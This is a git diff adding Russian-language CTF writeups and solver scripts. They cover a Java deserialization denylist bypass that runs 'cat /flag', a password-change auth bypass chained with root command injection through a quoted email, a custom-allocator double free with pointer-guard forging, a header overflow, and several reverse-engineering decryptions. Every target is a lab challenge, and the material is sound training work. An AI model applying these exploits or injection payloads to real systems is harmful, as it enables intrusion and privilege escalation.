содержимым `/flag`. + +### Выполнение через LegacyExecutorV2 + +`LegacyExecutorV2` наследует `LegacyExecutor`, но denylist сравнивает имена через `equals`. Имя наследника не совпадает с запретом, пакет при этом разрешён. Унаследованный `setCommand` выполняет shell-команду уже при десериализации: + +```json +{ + "title":"t", + "renderer":{"filters":[ + {"@type":"com.docmerge.plugins.LegacyExecutorV2","command":"cat /flag"} + ]} +} +``` + +Этот запрос к тому же `/api/merge` возвращает флаг как `legacy output`. Оба пути используют доступные классы приложения. Фильтр разрешает классы пакета `com.docmerge.plugins`, блокируя лишь отдельные имена. `ScriptFilter` и `LegacyExecutorV2` под эти запреты не попадают. + +[Солвер](solve/solve.py) проверяет плагины и фильтр, затем пробует `ScriptFilter`, а при отсутствии флага переходит к `LegacyExecutorV2`. + +## Флаг + +`CAPLAG{4ut0typ3_d3s3r14l1z3_byp4ss}` diff --git a/finals/task12_docmerge/solve/solve.py b/finals/task12_docmerge/solve/solve.py new file mode 100644 index 0000000..d02048e --- /dev/null +++ b/finals/task12_docmerge/solve/solve.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python3 +"""Автоматическое решение таска DocMerge (только stdlib). + +Запуск: python solve.py http://localhost:18112 +""" +import json +import re +import sys +import urllib.error +import urllib.request + +FLAG_RE = re.compile(r"CAPLAG\{[^}]*\}") + + +def post_merge(base, payload): + data = json.dumps(payload).encode() + req = urllib.request.Request( + base + "/api/merge", data=data, + headers={"Content-Type": "application/json"}, method="POST") + try: + with urllib.request.urlopen(req, timeout=20) as resp: + return resp.status, resp.read().decode("utf-8", "replace") + except urllib.error.HTTPError as e: + return e.code, e.read().decode("utf-8", "replace") + + +def get(base, path): + try: + with urllib.request.urlopen(base + path, timeout=20) as resp: + return resp.status, resp.read().decode("utf-8", "replace") + except urllib.error.HTTPError as e: + return e.code, e.read().decode("utf-8", "replace") + + +def fingerprint(base): + """Три зонда: denylist / класс вне allowlist / разрешённый пакет.""" + probes = [ + ("denylist: java.lang.Runtime", + {"@type": "java.lang.Runtime"}), + ("allowlist, но класса нет: com.docmerge.plugins.NoSuchPlugin", + {"@type": "com.docmerge.plugins.NoSuchPlugin"}), + ("вне allowlist: java.io.File", + {"@type": "java.io.File"}), + ] + for label, payload in probes: + status, body = post_merge(base, payload) + marker = "" + try: + marker = json.loads(body).get("message", "")[:120] + except ValueError: + marker = body[:120] + print(f"[*] probe ({label}) -> HTTP {status}: {marker}") + + +def exploit_script_filter(base): + """Основная цепочка: ScriptFilter -> reflection -> PreviewUtil.readFile('/flag').""" + payload = { + "title": "quarterly-report", + "documents": ["doc one", "doc two"], + "renderer": { + "template": "default", + "filters": [ + { + "@type": "com.docmerge.plugins.ScriptFilter", + "className": "com.docmerge.util.PreviewUtil", + "methodName": "readFile", + "argument": "/flag", + } + ], + }, + } + return post_merge(base, payload) + + +def exploit_legacy_executor_v2(base): + """Запасная цепочка: наследник denylist-класса проходит equals-проверку.""" + payload = { + "title": "quarterly-report", + "renderer": { + "filters": [ + { + "@type": "com.docmerge.plugins.LegacyExecutorV2", + "command": "cat /flag", + } + ] + }, + } + return post_merge(base, payload) + + +def main(): + base = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:18112").rstrip("/") + print(f"[*] target: {base}") + + status, body = get(base, "/api/plugins") + print(f"[*] GET /api/plugins -> HTTP {status}: {body[:200]}") + + fingerprint(base) + + print("[*] exploit #1: ScriptFilter -> PreviewUtil.readFile('/flag')") + status, body = exploit_script_filter(base) + match = FLAG_RE.search(body) + if match: + print(f"[+] flag: {match.group(0)}") + return + + print(f"[-] exploit #1 failed (HTTP {status}), trying exploit #2: LegacyExecutorV2") + status, body = exploit_legacy_executor_v2(base) + match = FLAG_RE.search(body) + if match: + print(f"[+] flag: {match.group(0)}") + return + + print(f"[-] exploit #2 failed (HTTP {status}): {body[:300]}") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/finals/task13_gatekeeper/WRITEUP.md b/finals/task13_gatekeeper/WRITEUP.md new file mode 100644 index 0000000..192bedc --- /dev/null +++ b/finals/task13_gatekeeper/WRITEUP.md @@ -0,0 +1,59 @@ +

GateKeeper

+ +

+ Web + hard +

+ +GateKeeper GW-7 — панель сетевого шлюза. Регистрации нет, есть только `admin` и `operator`. Флаг лежит в `/root/flag.txt`, а веб-приложение работает от `gk`. Для чтения файла используем утечку конфига, смену чужого пароля и синхронизацию пользователя. + +## Решение + +### Получение прав администратора + +В статике находим `/static/config.json.bak`. Бэкап содержит пароль `operator`. Входим через `POST /login` с JSON-полями `username` и `password`, сохраняем cookie `gk_session`. + +У оператора мало прав, но есть смена собственного пароля. Проверяем её запросом к `POST /account/password`. Обработчик ищет совпадение `old_password` с паролем любого пользователя, не связывая его с полем `username`. + +С cookie оператора отправляем в `POST /account/password` имя администратора и известный пароль оператора: + +```json +{ + "username":"admin", + "old_password":"<пароль operator из бэкапа>", + "new_password":"gk_pwned_2026" +} +``` + +Проверка проходит, пароль `admin` меняется. Повторяем `POST /login` с `username=admin` и новым паролем `gk_pwned_2026`. Сохраняем новую cookie `gk_session` и используем её для административной синхронизации. + +### Выполнение команды через email + +`POST /admin/directory/sync` принимает `email` и вызывает `sudo /opt/gk/bin/sync_user.sh `. У `gk` есть право запускать этот скрипт от root без пароля. + +Фильтр исходной строки блокирует `;`, `|`, обратные кавычки и несколько других операторов. Но email-парсер принимает local-part в двойных кавычках и снимает их при нормализации. Затем скрипт подставляет результат в `eval` без кавычек. + +Отправляем из администраторской сессии: + +```bash +curl -sS http://:18113/admin/directory/sync \ + -b 'gk_session=<сессия admin>' \ + -H 'Content-Type: application/json' \ + --data '{"email":"\"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)\"@gw.local"}' +``` + +Сырой email проходит парсер задания. После нормализации и `eval` конструкция `$(cp ...)` исполняется от root и копирует флаг в каталог веб-раздачи. + +Вывод скрипта в HTTP-ответе не показывают. Зато `/opt/gk/www/public` доступен как `/public/`, а скрипт выставляет права `a+rX`: + +```bash +curl -sS http://:18113/public/f.txt +``` + +Получаем содержимое закрытого файла. Ключевой переход здесь — от строки, допустимой для email-парсера, к той же строке как к части shell-команды. + +[Солвер](solve/solve.py). + +## Флаг + +`CAPLAG{rfc5322_qu0t3d_sh3ll_1nj}` diff --git a/finals/task13_gatekeeper/solve/solve.py b/finals/task13_gatekeeper/solve/solve.py new file mode 100644 index 0000000..51b4cc4 --- /dev/null +++ b/finals/task13_gatekeeper/solve/solve.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python3 +# solve.py — автоматическое решение задания GateKeeper (только stdlib). +# +# Проходит все 4 слоя: +# 1. Info leak: GET /static/config.json.bak -> креды operator +# 2. Auth bypass: POST /account/password (old_password сверяется с ЛЮБЫМ +# пользователем) -> меняем пароль admin, логинимся как admin +# 3. Cmd inject: POST /admin/directory/sync с RFC 5322 quoted-string email +# '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local' +# 4. Exfil: GET /public/f.txt -> флаг +# +# Запуск: python solve.py http://localhost:18113 +import json +import re +import sys +import urllib.request +import urllib.error +import http.cookiejar + +PAYLOAD_EMAIL = '"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)"@gw.local' +EXFIL_PATH = "/public/f.txt" +FLAG_RE = re.compile(r"CAPLAG\{[^}\r\n]+\}") + + +def make_client(base): + cj = http.cookiejar.CookieJar() + opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) + + def req(method, path, body=None): + data = None + headers = {} + if body is not None: + data = json.dumps(body).encode() + headers["Content-Type"] = "application/json" + r = urllib.request.Request(base + path, data=data, headers=headers, method=method) + try: + with opener.open(r, timeout=15) as resp: + return resp.status, resp.read().decode("utf-8", "replace") + except urllib.error.HTTPError as e: + return e.code, e.read().decode("utf-8", "replace") + + return req + + +def step(msg): + print(f"[*] {msg}") + + +def ok(msg): + print(f"[+] {msg}") + + +def die(msg): + print(f"[-] FAIL: {msg}") + sys.exit(1) + + +def main(): + if len(sys.argv) != 2: + print(f"usage: python {sys.argv[0]} http://localhost:PORT") + sys.exit(2) + base = sys.argv[1].rstrip("/") + req = make_client(base) + + # --- Слой 1: info leak --- + step(f"слой 1: читаем {base}/static/config.json.bak") + code, text = req("GET", "/static/config.json.bak") + if code != 200: + die(f"config.json.bak недоступен (HTTP {code})") + m = re.search(r'"operator"\s*:\s*\{[^}]*?"password"\s*:\s*"([^"]+)"', text, re.S) + if not m: + die("пароль operator не найден в бэкапе конфига") + op_user, op_pass = "operator", m.group(1) + ok(f"утёкшие креды: {op_user}:{op_pass}") + + # --- Логин operator --- + step("логинимся как operator") + code, text = req("POST", "/login", {"username": op_user, "password": op_pass}) + if code != 200: + die(f"login operator: HTTP {code}: {text}") + ok("сессия operator получена") + + # --- Слой 2: auth bypass в смене пароля --- + step("слой 2: меняем пароль admin, предъявляя СВОЙ (operator) пароль как old_password") + new_admin_pass = "gk_pwned_2026" + code, text = req("POST", "/account/password", { + "username": "admin", + "old_password": op_pass, # BUG: сверяется с паролем ЛЮБОГО пользователя + "new_password": new_admin_pass, + }) + if code != 200: + die(f"auth bypass не сработал: HTTP {code}: {text}") + ok("пароль admin перезаписан (old_password сверен с чужой учёткой)") + + # --- Логин admin --- + step("логинимся как admin") + code, text = req("POST", "/login", {"username": "admin", "password": new_admin_pass}) + if code != 200: + die(f"login admin: HTTP {code}: {text}") + ok("сессия admin получена") + + # --- Слой 3: command injection через RFC-valid email --- + step(f"слой 3: инъекция через quoted-string email: {PAYLOAD_EMAIL}") + code, text = req("POST", "/admin/directory/sync", {"email": PAYLOAD_EMAIL}) + if code != 200: + die(f"sync: HTTP {code}: {text}") + ok(f"payload принят (RFC-валиден, фильтр обойдён): {text.strip()}") + + # --- Слой 4: эксфильтрация --- + step(f"слой 4: забираем флаг: GET {base}{EXFIL_PATH}") + code, text = req("GET", EXFIL_PATH) + if code != 200: + die(f"эксфильтрация не удалась: HTTP {code}") + m = FLAG_RE.search(text) + if not m: + die(f"файл получен, но флага нет: {text!r}") + ok("флаг получен!") + print() + print(m.group(0)) + + +if __name__ == "__main__": + main() diff --git a/finals/tollgate-iis-dotnet-reverse-medium/WRITEUP.md b/finals/tollgate-iis-dotnet-reverse-medium/WRITEUP.md new file mode 100644 index 0000000..c501f86 --- /dev/null +++ b/finals/tollgate-iis-dotnet-reverse-medium/WRITEUP.md @@ -0,0 +1,37 @@ +

Tollgate IIS

+ +

+ Reverse + medium +

+ +В раздатке есть IIS-модуль `TollgateIis.dll`. Он переписывает маршруты и скрывает дополнительный обработчик в зашифрованной таблице. Разбираем .NET-сборку в ILSpy или dnSpy. + +## Решение + +В классе `RouteModule` находим `Decode()` и три строки, из которых он собирает таблицу: + +| Поле | Значение и роль | +|---|---| +| `ValidationKey` | `31415926535897932384626433832795` — ключ AES | +| `DecryptionKey` | `27182818284590452353602874713526` — IV | +| `RouteTable` | `ROUTEv3:` — зашифрованный JSON | + +Названия ключей немного сбивают с толку, поэтому по коду `Decode()` определяем, что используется AES-128-CBC. Каждая hex-строка превращается в 16 байт, а у таблицы перед base64-декодированием отрезается `ROUTEv3:`. + +Сохраняем base64-тело таблицы без префикса `ROUTEv3:` одной строкой в `routes.b64` и повторяем расшифровку: + +```bash +openssl enc -d -aes-128-cbc \ + -K 31415926535897932384626433832795 \ + -iv 27182818284590452353602874713526 \ + -nosalt -A -base64 -in routes.b64 +``` + +Получаем JSON с флагом в поле `handler`. В живом приложении `OnBeginRequest` вызывает `Decode()` для пути с `seo`, но для статического разбора достаточно данных из DLL. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{machine_key_revealed_the_hidden_handler}` diff --git a/finals/tollgate-iis-dotnet-reverse-medium/solve/solve.py b/finals/tollgate-iis-dotnet-reverse-medium/solve/solve.py new file mode 100644 index 0000000..3316a1d --- /dev/null +++ b/finals/tollgate-iis-dotnet-reverse-medium/solve/solve.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('WasmCoat + +

+ Reverse + medium +

+ +Android-клиент склада проверяет штрихкоды через WebAssembly. В раздатке есть `WasmCoatScanner.apk`, в котором нужно найти защитную конфигурацию. Ключ и данные разнесены между DEX и wasm, поэтому смотрим оба файла. + +## Решение + +Из APK достаём `classes.dex` и `assets/guard.wasm`. В DEX-коде загрузчика находим строку `wasmcoat-warehouse`, которая используется как ключ. + +Wasm начинается стандартной сигнатурой `\0asm\x01\0\0\0`. Дальше идёт последовательность секций: + +```text +id: u8 | размер: ULEB128 | содержимое секции +``` + +Нужны кастомные секции с `id = 0`. Внутри каждой сначала записаны длина имени в ULEB128 и само UTF-8-имя. Находим `wasmcoat.guard` и берём байты после её имени. + +> Размеры секций закодированы числами ULEB128, которые могут занимать разное количество байт. Если прочитать ULEB128 как обычный `u32`, границы секций съедут ещё до расшифровки. + +Полезная нагрузка секции скрыта повторяющимся XOR: + +```python +import json +import zipfile + +with zipfile.ZipFile("public/WasmCoatScanner.apk") as apk: + wasm = apk.read("assets/guard.wasm") + +def uleb(data, pos): + value = shift = 0 + while True: + byte = data[pos] + pos += 1 + value |= (byte & 0x7f) << shift + if not byte & 0x80: + return value, pos + shift += 7 + +assert wasm[:8] == b"\0asm\x01\0\0\0" +pos = 8 +while pos < len(wasm): + section_id = wasm[pos] + size, pos = uleb(wasm, pos + 1) + end = pos + size + if section_id == 0: + name_size, pos = uleb(wasm, pos) + name = wasm[pos:pos + name_size].decode() + if name == "wasmcoat.guard": + blob = wasm[pos + name_size:end] + break + pos = end +else: + raise ValueError("wasmcoat.guard не найдена") + +key = b"wasmcoat-warehouse" +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +config = json.loads(plain) +print(config["target"]) +``` + +С правильной границей секции получаем JSON. Значение `target` — искомый флаг. Запуск WebAssembly для его извлечения не нужен. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{android_wasm_guard_table_unwrapped}` diff --git a/finals/wasmcoat-android-reverse-medium/solve/solve.py b/finals/wasmcoat-android-reverse-medium/solve/solve.py new file mode 100644 index 0000000..86bca59 --- /dev/null +++ b/finals/wasmcoat-android-reverse-medium/solve/solve.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('Wheelhouse Beacon + +

+ Reverse + hard +

+ +В раздатке есть пакет `wheelhouse_beacon-0.4.2-py3-none-any.whl` из внутреннего ML/CI-зеркала. Один из этапов загрузки реализован в байткоде без исходного Python-модуля. Начинаем с содержимого архива и списка файлов в `*.dist-info/RECORD`. + +## Решение + +Среди обычных Python-модулей выделяется `wheelhouse_beacon/data/stage_gate.dat`. Содержимое файла распознаётся как LZMA. Извлекаем и распаковываем: + +```python +import lzma +import marshal +import types +import zipfile + +wheel_path = "public/wheelhouse_beacon-0.4.2-py3-none-any.whl" +with zipfile.ZipFile(wheel_path) as wheel: + packed = wheel.read("wheelhouse_beacon/data/stage_gate.dat") +stage = lzma.decompress(packed) +``` + +Внутри находится pyc с 16-байтным заголовком и marshal-объектом кода. Пропускаем заголовок и разбираем код, используя **Python 3.13**, под который собран артефакт. + +Флаг может находиться в константах вложенной функции, поэтому одного `code.co_consts` недостаточно. Обходим объекты рекурсивно: + +```python +code = marshal.loads(stage[16:]) + +def strings(code): + for value in code.co_consts: + if isinstance(value, str): + yield value + elif isinstance(value, types.CodeType): + yield from strings(value) + +print(next(value for value in strings(code) if value.startswith("caplag{"))) +``` + +Среди собранных строк находим значение, начинающееся с `caplag{`. При желании `dis.dis(code)` показывает, как стадия его использует, но для чтения флага исполнения пакета не требуется. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{wheel_record_led_to_the_lzma_stage}` diff --git a/finals/wheelhouse-beacon-python-reverse-hard/solve/solve.py b/finals/wheelhouse-beacon-python-reverse-hard/solve/solve.py new file mode 100644 index 0000000..0b37a2f --- /dev/null +++ b/finals/wheelhouse-beacon-python-reverse-hard/solve/solve.py @@ -0,0 +1,26 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('ZCRX Broker + +

+ PWN + hard +

+ +ZCRX Broker управляет буферами приёма без копирования. В раздатке есть ELF `zcrx-broker` без PIE. У сервиса собственный пул памяти. Два отложенных события могут вернуть один блок в список свободных дважды. Добиваемся выделения одного адреса двум объектам. Тогда запись в новый blob изменит поля действующего объекта прав. + +## Решение + +Создаём `niov view` через пункт `1`, label любой. Новый view имеет `refs = 1`. Для view `0` дважды вызываем `2) arm lifecycle event`: сначала путь `scrub`, затем `refill`. Оба события запоминают одно и то же состояние с одной ссылкой. + +В обоих снимках счётчик ссылок равен единице. Поэтому при выборе `3) drain lifecycle events` сервис обрабатывает оба события и дважды возвращает один и тот же блок в пул. В списке свободных теперь две записи с одним адресом — **double free в самописном аллокаторе**. + +Выделяем capability через пункт `4`: она занимает первую запись. Вторую пока оставляем в пуле. У capability есть закодированный обработчик, который можно прочитать через `5) inspect capability`, cap `0`. Значение `encoded_handler` сохраняем числом в `encoded_audit`. + +Обработчик по умолчанию — `audit_handler`, кодирование — XOR с pointer guard. Адреса функций берём из `readelf -sW public/zcrx-broker`, поскольку PIE выключен. Восстанавливаем guard и кодируем адрес экспорта: + +```python +ptr_guard = encoded_audit ^ audit_handler +encoded_export = export_handler ^ ptr_guard +``` + +Пункт `6) allocate blob` заберёт вторую запись того же блока. Blob и живая capability окажутся в одной памяти. Сначала готовим 176-байтную подделку. + +```python +import struct + +payload = struct.pack("= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen( + [args.binary], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + env=env, + ) + return Tube(proc=proc) + sock = socket.create_connection((args.host, args.port), timeout=5) + return Tube(sock=sock) + + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--port", type=int, default=31339) + parser.add_argument("--local", action="store_true") + parser.add_argument("--binary", default="../public/zcrx-broker") + parser.add_argument("--flag", default="caplag{double_returned_niov_shared_the_capability}") + args = parser.parse_args() + + audit_handler = symbol_value(args.binary, "audit_handler") + export_handler = symbol_value(args.binary, "export_handler") + + io = connect(args) + + choose(io, 1) + io.recvuntil(b"label:") + io.sendline(b"rx-preview-niov") + + for path in (b"scrub", b"refill"): + choose(io, 2) + io.recvuntil(b"path:") + io.sendline(path) + io.recvuntil(b"view:") + io.sendline(b"0") + + choose(io, 3) + io.recvuntil(b"free_count=") + io.recvuntil(b"\n") + + choose(io, 4) + io.recvuntil(b"cap 0 allocated") + + choose(io, 5) + io.recvuntil(b"cap:") + io.sendline(b"0") + io.recvuntil(b"encoded_handler=") + encoded_audit = int(io.recvuntil(b" rights=")[: -len(b" rights=")], 16) + ptr_guard = encoded_audit ^ audit_handler + encoded_export = export_handler ^ ptr_guard + + forged = struct.pack("Сердце Сысолы + +

Отборочный этап · writeups

+ +

+ writeups: 18 + categories: 6 +

+ +[Оба этапа](../README.md) + +## Задания + +
+Crypto · 3 разбора + +| Сложность | Таск | Описание | +|---|---|---| +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [SealTail](sealtail-crypto-easy/WRITEUP.md) | Дописываем неподписанную TLV-команду к капсуле с валидной RSA-подписью. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [ShardSlope](shardslope-crypto-easy/WRITEUP.md) | Восстанавливаем секрет Шамира по повторно использованному наклону. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [TagPreview](tagpreview-crypto-easy/WRITEUP.md) | Портим тег запечатанной заметки и читаем plaintext из ответа об ошибке. | + +
+ +
+Forensic · 1 разбор + +| Сложность | Таск | Описание | +|---|---|---| +| ![hard](https://img.shields.io/badge/hard-critical) | [Runner Ashfall](runner-ashfall-forensic-hard/WRITEUP.md) | Восстанавливаем CI/CD-инцидент по десяти связанным ответам. | + +
+ +
+OSINT · 2 разбора + +| Сложность | Таск | Описание | +|---|---|---| +| — | [Banani](banani/WRITEUP.md) | По кадру порта находим судно, контейнер из видео задержания и его TIR. | +| — | [Призрачный самолёт](prizrachniy-samolet/WRITEUP.md) | От аэропорта Игероте идём к исчезнувшему YV3338 и его последней позиции. | + +
+ +
+PWN · 6 разборов + +| Сложность | Таск | Описание | +|---|---|---| +| ![hard](https://img.shields.io/badge/hard-critical) | [BioSignal Relay](biosignal-relay-pwn-hard/WRITEUP.md) | Перезаписываем дескриптор канала дополнительным CLP-заголовком. | +| ![medium](https://img.shields.io/badge/medium-orange) | [CommBridge](commbridge-pwn-medium/WRITEUP.md) | Раздуваем escaped-команду и переписываем права экспорта на стеке. | +| ![hard](https://img.shields.io/badge/hard-critical) | [CopyCache Runner](copycache-runner-pwn-hard/WRITEUP.md) | Меняем права и контрольную сумму политики прямо в кеше раннера. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [GumboGate](gumbogate-pwn-easy/WRITEUP.md) | Девятым атрибутом одной корзины затираем поле одобрения отчёта. | +| ![medium](https://img.shields.io/badge/medium-orange) | [HeifTrack](heiftrack-pwn-medium/WRITEUP.md) | Занимаем освобождённый chunk метаданными и используем висячий playback. | +| ![medium](https://img.shields.io/badge/medium-orange) | [LeaseMesh](lease-mesh-pwn-medium/WRITEUP.md) | Через утечку PIE и use-after-free подменяем обработчик маршрута. | + +
+ +
+Reverse · 5 разборов + +| Сложность | Таск | Описание | +|---|---|---| +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [Chameleon Line](chameleon-line-dotnet-reverse-easy/WRITEUP.md) | Достаём AES-ключ и IV из .NET-строк и расшифровываем конфиг. | +| ![hard](https://img.shields.io/badge/hard-critical) | [CrateWatch](cratewatch-native-rust-reverse-hard/WRITEUP.md) | Находим секцию с конфигом среди Rust-обвязки и снимаем XOR. | +| ![easy](https://img.shields.io/badge/easy-brightgreen) | [FvncLite](fvnclite-android-reverse-easy/WRITEUP.md) | Расшифровываем таблицу команд APK ключом из OpsService. | +| ![hard](https://img.shields.io/badge/hard-critical) | [Mileage MDM](mileage-mdm-ios-reverse-hard/WRITEUP.md) | Собираем XOR-ключ из seed профиля и открываем карту доказательства. | +| ![medium](https://img.shields.io/badge/medium-orange) | [Modbus Mirror](modbus-mirror-native-c-reverse-medium/WRITEUP.md) | Извлекаем встроенный конфиг Modbus и читаем сервисный ключ. | + +
+ +
+Web · 1 разбор + +| Сложность | Таск | Описание | +|---|---|---| +| ![medium](https://img.shields.io/badge/medium-orange) | [Launchlet](launchlet-web-medium/WRITEUP.md) | Через манифесты, фильтр workspace и server action получаем три флага. | + +
+ +--- + +

+ Caplag +

diff --git a/qualifiers/banani/WRITEUP.md b/qualifiers/banani/WRITEUP.md new file mode 100644 index 0000000..f43de90 --- /dev/null +++ b/qualifiers/banani/WRITEUP.md @@ -0,0 +1,52 @@ +

Banani

+ +

+ OSINT +

+ +На старте есть фотография порта и описание судна. Нужно определить порт, судно и контейнер, который оно перевозило. В ответе нужны название порта, IMO, номер контейнера и TIR. Ответ записываем по шаблону `caplag{PortName_IMO_XXXX0000000_TIR:XX/X00000XX/0000}`, в котором `X` обозначает заглавную латинскую букву, а `0` обозначает цифру. + +

+ Исходный кадр порта с сине-белым судном у причала +

+ +## Решение + +Начинаем с геолокации. На снимке видны контейнерный терминал, краны, длинный причал и выход из гавани. Сопоставление с картой приводит в эстонский порт **Muuga**, где расположение причалов и контейнерной площадки совпадает. + +

+ Спутниковый снимок порта Muuga с причалами и контейнерным терминалом +

+ +Теперь ищем сине-белое судно на заднем плане. Сравниваем корпус, надстройку и расположение кранов с фотографией в [карточке VesselFinder](https://www.vesselfinder.com/vessels/details/9765873). Совпадение указывает на **BALTIC SPIRIT** с IMO `9765873`. Именно IMO нужен для ответа, название помогает связать судно с новостями. + +

+ Карточка BALTIC SPIRIT с IMO 9765873 +

+ +Дальше находим [сюжет ERR о задержании судна эстонским спецназом](https://news.err.ee/1609932407/watch-estonia-s-special-forces-detain-a-suspected-smugglers-ship). В кадрах с камеры бойца появляется контейнер с маркировкой `SEGU 9696460`. Останавливаем видео на читаемом кадре и сохраняем номер без пробела. + +

+ Кадр осмотра контейнера с маркировкой SEGU 9696460 +

+ +По номеру контейнера переходим в [Seaco Container Details](https://seaweb.seacoglobal.com/sap/bc/ui5_ui5/sap/zseaco_ue17/index.html). Вводим `SEGU9696460` и открываем карточку контейнера. В ней находим номер допуска `TIR: GB/C 13362 BV/2016` — последнюю часть ответа. + +Собираем ответ, убирая пробелы внутри номеров и сохраняя разделители TIR: + +| Часть | Значение | +|---|---| +| Порт | `Muuga` | +| IMO судна | `9765873` | +| Контейнер | `SEGU9696460` | +| TIR | `TIR:GB/C13362BV/2016` | + +## Флаг + +`caplag{Muuga_9765873_SEGU9696460_TIR:GB/C13362BV/2016}` + +В [проверенных контейнерах](https://rus.err.ee/1609932371/informacija-o-narkotikah-ne-podtverdilas-sudno-baltic-spirit-pokinulo-jestoniju) были ящики с бананами из Эквадора, а наркотиков не нашли. У амёбы к грузу претензий нет. + +

+ Шуточная иллюстрация с амёбой и бананами во время досмотра контейнера +

diff --git a/qualifiers/banani/assets/baltic-spirit.png b/qualifiers/banani/assets/baltic-spirit.png new file mode 100644 index 0000000..f580c52 Binary files /dev/null and b/qualifiers/banani/assets/baltic-spirit.png differ diff --git a/qualifiers/banani/assets/banana-amoeba.jpg b/qualifiers/banani/assets/banana-amoeba.jpg new file mode 100644 index 0000000..eebbdd4 Binary files /dev/null and b/qualifiers/banani/assets/banana-amoeba.jpg differ diff --git a/qualifiers/banani/assets/container.png b/qualifiers/banani/assets/container.png new file mode 100644 index 0000000..b2d845a Binary files /dev/null and b/qualifiers/banani/assets/container.png differ diff --git a/qualifiers/banani/assets/muuga-map.png b/qualifiers/banani/assets/muuga-map.png new file mode 100644 index 0000000..5f201e1 Binary files /dev/null and b/qualifiers/banani/assets/muuga-map.png differ diff --git a/qualifiers/banani/assets/port.png b/qualifiers/banani/assets/port.png new file mode 100644 index 0000000..c23be4f Binary files /dev/null and b/qualifiers/banani/assets/port.png differ diff --git a/qualifiers/biosignal-relay-pwn-hard/WRITEUP.md b/qualifiers/biosignal-relay-pwn-hard/WRITEUP.md new file mode 100644 index 0000000..ce4a9d4 --- /dev/null +++ b/qualifiers/biosignal-relay-pwn-hard/WRITEUP.md @@ -0,0 +1,56 @@ +

BioSignal Relay

+ +

+ PWN + hard +

+ +В раздатке есть ELF `biosignal-relay` с символами и без PIE. Сервис принимает CLP-файл, позволяет выбрать канал и запустить конвертацию. В бинаре есть обработчик `flag_channel`. Для получения флага нужно вызвать его при конвертации. + +## Решение + +При анализе ELF находим структуру загруженного файла. Таблица каналов лежит сразу за 64-байтным буфером заголовка: + +```c +struct channel { + uint32_t magic; + uint32_t approved; + uint64_t handler; + char name[32]; +}; // 48 байт + +struct labfile { + unsigned char header[64]; + struct channel ch[2]; +}; +``` + +При конвертации сервис проверяет `magic == 0x43484e31`, `approved == 0x42494f21` и разрешает только два обработчика: `audit_channel` и `flag_channel`. Подходящая функция уже есть в списке разрешённых, поэтому достаточно подставить её адрес. + +Смотрим загрузку. Основной заголовок копируется с ограничением, а вот дополнительный — по смещению `hlen`, которое приходит из самого файла: + +```c +memcpy(lab->header, buf, n < 64 ? n : 64); +size_t extra = n > 16 ? n - 16 : 0; +if (extra) memcpy(lab->header + hlen, buf + 16, extra); +``` + +Ставим `hlen = 64`, чтобы второй `memcpy` начал запись ровно с `ch[0]`. Если после первых 16 байт файла положить поддельный дескриптор, он займёт место настоящего канала. + +Адрес `flag_channel` берём из `readelf -sW public/biosignal-relay` и сохраняем числом в переменной `flag_channel`. PIE выключен, поэтому адрес из таблицы символов подходит напрямую. Первые шесть байт файла должны быть `ICLPCL`, следующие два — `hlen` в little-endian. До дополнительного заголовка оставляем восемь нулевых байт, а с позиции `16` размещаем поддельный канал. + +```python +import struct + +channel = struct.pack("= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31348); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/biosignal-relay"); p.add_argument("--flag",default="caplag{clp_header_extension_rewired_the_channel}"); args=p.parse_args() + target=symbol_value(args.binary,"flag_channel") + ch=struct.pack("Chameleon Line + +

+ Reverse + easy +

